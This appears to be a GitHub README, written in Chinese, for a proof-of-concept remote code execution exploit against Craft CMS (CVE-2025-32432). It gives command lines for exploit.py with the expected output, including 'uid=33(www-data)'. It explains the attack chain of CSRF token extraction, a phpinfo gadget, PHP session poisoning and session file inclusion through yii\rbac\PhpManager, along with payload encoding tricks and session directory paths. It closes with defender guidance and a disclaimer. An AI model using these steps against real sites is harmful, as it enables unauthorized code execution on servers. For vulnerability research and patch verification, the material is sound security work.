theeomega/CVE-2025-32432-POC

GitHub: theeomega/CVE-2025-32432-POC

针对 Craft CMS CVE-2025-32432 远程代码执行漏洞的单目标 PoC 工具,支持无害的 phpinfo 确认模式和命令执行模式。

Stars: 0 | Forks: 0

# CVE-2025-32432 Craft CMS PoC ## 概述 CVE-2025-32432 是一个 Craft CMS 远程代码执行漏洞,与通过图像转换生成 endpoint 不安全地创建对象有关。公开的分析表明,该漏洞的利用可能涉及对 `assets/generate-transform` action 的请求以及由 gadget 控制的对象构造。 此 PoC 支持两种模式: 1. **仅检查模式**:通过非破坏性 gadget 触发 `phpinfo()` 来确认漏洞。 2. **命令模式**:在确认漏洞后,执行两步 session 文件包含链,以便在授权目标上执行单个命令。 该脚本专为**单目标测试**设计。它不包含大规模扫描、反弹 shell 辅助工具、持久化、文件上传辅助工具或后渗透自动化功能。 ## 受影响版本 根据 GitHub Advisory Database,受影响的 Craft CMS 版本包括: - `>= 3.0.0-RC1, <= 3.9.14` - `>= 4.0.0-RC1, <= 4.14.14` - `>= 5.0.0-RC1, <= 5.6.16` 已修复版本列为: - `3.9.15` - `4.14.15` - `5.6.17` 在使用此工具进行评估之前,请务必对照官方 Craft CMS 公告验证版本和修复指南。 ## 仓库内容 ``` . ├── exploit.py ├── README.md └── phpinfo_success.html # Created only after successful phpinfo confirmation ``` ## 环境要求 - Python 3.9+ - `requests` - `urllib3` 安装依赖: ``` python3 -m pip install requests urllib3 ``` ## 用法 ### 1. 仅检查模式 首先使用此模式。它会尝试使用 `phpinfo()` gadget 确认漏洞,并在成功时将响应保存到 `phpinfo_success.html`。 ``` python3 exploit.py -u http://target.local ``` 预期成功输出: ``` [+] phpinfo triggered [+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform [+] Working assetId: 0 [+] Vulnerability confirmed by phpinfo gadget [*] Check-only mode. Use -c 'id' to run a command. ``` ### 2. 命令模式 在仅检查模式确认目标后,运行单个命令: ``` python3 exploit.py -u http://target.local -c "id" ``` 在易受攻击的 Linux 目标上的预期输出: ``` [+] Command output: uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ### 3. 使用已知的 endpoint 和 asset ID 如果您已经知道可用的 endpoint 和 `assetId`,请直接提供它们: ``` python3 exploit.py \ -u http://target.local \ -c "id" \ -a 0 \ --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" ``` ### 4. 自定义 PHP session 目录 常见的 PHP session 目录通常为以下之一: ``` /var/lib/php/sessions /var/lib/php/session /tmp ``` 手动指定一个: ``` python3 exploit.py \ -u http://target.local \ -c "id" \ --session-dir /var/lib/php/sessions ``` 重复该选项以测试多个 session 目录: ``` python3 exploit.py \ -u http://target.local \ -c "id" \ --session-dir /var/lib/php/sessions \ --session-dir /var/lib/php/session \ --session-dir /tmp ``` ### 5. 自定义前端控制器 某些环境可能不使用 `index.php` 作为前端控制器。例如,如果路由是通过 `x.php` 暴露的: ``` python3 exploit.py \ -u http://target.local \ --front x.php \ -c "id" ``` ## 工作原理 ### 阶段 1:CSRF 发现 PoC 请求常见的 Craft CMS 登录/管理页面,并从响应中提取 CSRF token。 ### 阶段 2:漏洞确认 PoC 向资产转换 endpoint 发送 JSON body,使用尝试调用 `phpinfo()` 的 gadget。 这比直接尝试执行命令更安全,适合用于确认。如果成功,响应将包含 PHP 配置输出,并保存为: ``` phpinfo_success.html ``` ### 阶段 3:Session 投毒 PoC 请求一个未经身份验证的管理页面,并在 query parameter 中带入 PHP payload。Craft CMS 会将返回 URL 存储在 PHP session 文件中。 ### 阶段 4:Session 文件包含触发 PoC 向图像转换 endpoint 发送另一个请求,并使用 `yii\rbac\PhpManager` 包含被投毒的 session 文件。如果 session 文件包含可执行的 PHP 代码,命令输出将返回在标记之间: ``` CMD_START ... CMD_END ``` ## 重要说明 ### 为什么普通的 `assetId` 扫描会失败 一些公开的 PoC 尝试通过发送正常的转换请求并将 HTTP `404` 视为无效来发现有效的 asset ID。 这可能会产生假阴性。目标可能对正常的转换请求返回 `404`,但仍然会触发易受攻击的 gadget 路径。因此,此 PoC 使用实际的 `phpinfo()` gadget 确认流程来发现 endpoint 和 asset ID 的组合。 ### 为什么命令输入采用十六进制编码 命令模式将命令作为十六进制传递,以避免 query string 在遇到空格、引号、与号(&)、管道符(|)和重定向符号等字符时出现问题。 ### 为什么 payload 避免使用空格 PHP payload 是刻意紧凑的,并尽可能避免使用空格。一些请求库和服务器端路由流程可能会将空格重写为 `+`,这可能会破坏存储在 PHP session 文件中的 payload。 ## 故障排除 ### `无法提取 CSRF token` 尝试: ``` curl -i http://target.local/index.php?p=admin/dashboard curl -i http://target.local/index.php?p=admin/login curl -i http://target.local/admin/login ``` 如果所有路由都返回 `404`,则 Craft CMS 可能未挂载在 Web 根目录下,或者可能使用了自定义的前端控制器/路径。 ### phpinfo 有效,但命令模式失败 尝试手动指定 session 目录: ``` python3 exploit.py \ -u http://target.local \ -c "id" \ --session-dir /var/lib/php/sessions ``` 然后尝试: ``` --session-dir /var/lib/php/session --session-dir /tmp ``` ### `无法创建 Image transform` 这可能仍然有用。它可能表明请求到达了易受攻击的转换路径,但在随后的正常 Craft 图像处理过程中失败了。 首先使用仅检查模式,并确认是否创建了 `phpinfo_success.html`。 ### 正常扫描显示 `assetId 0 -> HTTP 404` 这并不总是意味着目标是安全的。请使用 `phpinfo()` gadget 流程进行确认,而不是使用正常的转换请求。 ## 防御指南 对于防御者: - 将 Craft CMS 更新到已修复的版本。 - 如果怀疑遭到入侵,请轮换 `CRAFT_SECURITY_KEY`。 - 轮换数据库和环境密钥。 - 检查 Web 根目录和上传目录中是否存在意外的 PHP 文件。 - 检查日志中是否有发往 `actions/assets/generate-transform` 的可疑请求。 - 考虑在边缘/WAF 拦截包含可疑 `__class` 值的 POST body。 ## 道德与法律声明 本项目仅出于教育和防御性安全研究目的提供。 请勿对您不拥有或未获得明确测试许可的系统运行此工具。未经授权利用公共系统是非法和不道德的。 作者不对因滥用此工具而造成的任何损害负责。 ## 参考 - Craft CMS 公告: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432 - GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3 - SensePost / Orange Cyberdefense 分析: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/ - NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
标签:PoC, Python, 无后门, 暴力破解, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护